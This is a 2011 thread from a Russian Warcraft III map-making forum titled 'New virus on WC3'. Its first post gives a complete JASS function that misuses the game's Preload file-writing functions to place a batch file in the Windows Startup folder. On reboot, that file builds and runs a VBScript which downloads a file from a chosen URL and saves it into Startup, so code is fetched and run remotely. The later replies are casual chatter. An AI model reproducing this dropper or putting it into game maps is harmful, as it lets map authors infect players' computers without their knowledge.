Главная     Битва за Лордерон     Штурм и Оборона     Russian DotA     Форум     Файлы     Редактор     Разное     Дизайн     Поиск     Регистрация     Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум русских картостроителей » О всём » о WarCraft » Новый вирус на вк3.
Новый вирус на вк3.
-ZeT- Дата: Воскресенье, 06 Февраля 2011, 00:31|Пост # 1|

神のスピア<>
Сцыль

Опубликован новый способ, заразить компьютеры юзеров вк3. Прикол состоит в скачки вируса из интернета, после перезагрузки компьютера.

Code
function Infest takes string url, string localname returns nothing
     call PreloadGenClear()
     call PreloadGenStart()
     call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objXMLHTTP.open \"GET\", \""+url+"\", false >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho If objFSO.Fileexists(\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\") Then objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.SaveToFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\nstart %TEMP%\\download.vbs\n//")
     call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
     call PreloadGenClear()
     call PreloadGenStart()
     call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objXMLHTTP.open \"GET\", \""+url+"\", false >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho If objFSO.Fileexists(\"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"+localname+"\") Then objFSO.DeleteFile \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.SaveToFile \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\necho objFSO.DeleteFile \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
     call Preload("\")\nstart %TEMP%\\download.vbs\n//")
     call PreloadGenEnd("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat")
endfunction

//===========================================================================
function InitTrig_Melee_Initialization takes nothing returns nothing
     call Infest("http://www.stephan-brenner.com/blog/wp-content/uploads/2008/08/donothing.zip", "myvirus.zip")
endfunction

как бы указываем функции что нужно скачать:

Infest("http://www.stephan-brenner.com/blog/wp-content/uploads/2008/08/donothing.zip", "myvirus.zip")

С выходом патча 1.25 это не прикрыли О_о.


Битва за Иллидана:

Глава проекта: Iron-Beast
Участники проекта:
  • Shadow_of_king
  • _KiRiK_
  • -ZeT-
  • NikPro23
  • Yegor1
  •  
    DivineSpear Дата: Воскресенье, 06 Февраля 2011, 11:29|Пост # 2|
    Адепт гильдии Сканда

    神のスピア
    Кышь паразит О_О

    http://divinespear.mybrute.com прикольная вещь =)


    [Вот кто я!] [Манчкин 43%] [Убийца 23%] [Тусовщик 30%] [Исследователь 3%] [Узнай кто ты!]
     
    packa Дата: Воскресенье, 06 Февраля 2011, 15:53|Пост # 3|
    Адепт гильдии Таранис

    Island wars\Без прошлого
    РРрррээээээйт

    Добавлено (06 Февраль 2011, 15:53)
    ---------------------------------------------
    уже 1.25? вот блин.


    Должен Энфу :spy: (Шио, МАнуал! )
    packa.ucoz.ru - все норм, присоединяйтесь! Буду рад если поддержите мой сайт :)

    [quote=iron - beast]Го гамать кусок бревна[/quote] :zomba:
    Mapmakers Community © 2010

    Без прошлого:

    Глава проекта: Arator
    Участники проекта:
  • AcID_packa
  •  
    -ZeT- Дата: Воскресенье, 06 Февраля 2011, 20:31|Пост # 4|

    神のスピア<>
    Ну пока на ам. клиенте. надеюсь после этого выйдет 1.26 ходят слухи, что добавятся немного вкусностей в редактор триггеров...лично надеюсь на банк данных.. но если эту фичу не устранят, я особо не расстроюсь, так-как есть возможность брать данные со своего сервера и передавать... ну или допустим закачки моделей прямо во время игры. кроме того уже нашёл азиатскую карту, где с помощью этого бага меняли текст... допустим в описании спела урон выводится в зависимости от интелекта и других параметров... я пока нефига не понимаю в этом.. но это дело времени..

    Битва за Иллидана:

    Глава проекта: Iron-Beast
    Участники проекта:
  • Shadow_of_king
  • _KiRiK_
  • -ZeT-
  • NikPro23
  • Yegor1
  •  
    packa Дата: Пятница, 11 Февраля 2011, 21:23|Пост # 5|
    Адепт гильдии Таранис

    Island wars\Без прошлого
    Нафига тебе, ты все равно ничего не делаешь (
    Вот прикол разбираться и в итоге ничего не делать.


    Должен Энфу :spy: (Шио, МАнуал! )
    packa.ucoz.ru - все норм, присоединяйтесь! Буду рад если поддержите мой сайт :)

    [quote=iron - beast]Го гамать кусок бревна[/quote] :zomba:
    Mapmakers Community © 2010

    Без прошлого:

    Глава проекта: Arator
    Участники проекта:
  • AcID_packa
  •  
    DivineSpear Дата: Пятница, 11 Февраля 2011, 22:49|Пост # 6|
    Адепт гильдии Сканда

    神のスピア
    Quote (packa)
    Нафига тебе, ты все равно ничего не делаешь ( Вот прикол разбираться и в итоге ничего не делать.

    Истино так! :(


    http://divinespear.mybrute.com прикольная вещь =)


    [Вот кто я!] [Манчкин 43%] [Убийца 23%] [Тусовщик 30%] [Исследователь 3%] [Узнай кто ты!]
     
    -ZeT- Дата: Воскресенье, 13 Февраля 2011, 02:37|Пост # 7|

    神のスピア<>
    Quote (packa)
    Нафига тебе, ты все равно ничего не делаешь (
    Вот прикол разбираться и в итоге ничего не делать.

    С бета тестом проблема) у меня больше получается делать не карты, а составляющие: системы и спелы, как бы их достаточно в нете) просто сколько уже раз разбегалась тима, а одному делать всё нереально, тем более если не умеешь что-то.А системы и спелы можно и одному так-уж я это и буду делать.


    Битва за Иллидана:

    Глава проекта: Iron-Beast
    Участники проекта:
  • Shadow_of_king
  • _KiRiK_
  • -ZeT-
  • NikPro23
  • Yegor1
  •  
    Форум русских картостроителей » О всём » о WarCraft » Новый вирус на вк3.
    • Страница 1 из 1
    • 1
    Поиск:

    Copyright Garret&ELForcer © 2006-многа-многа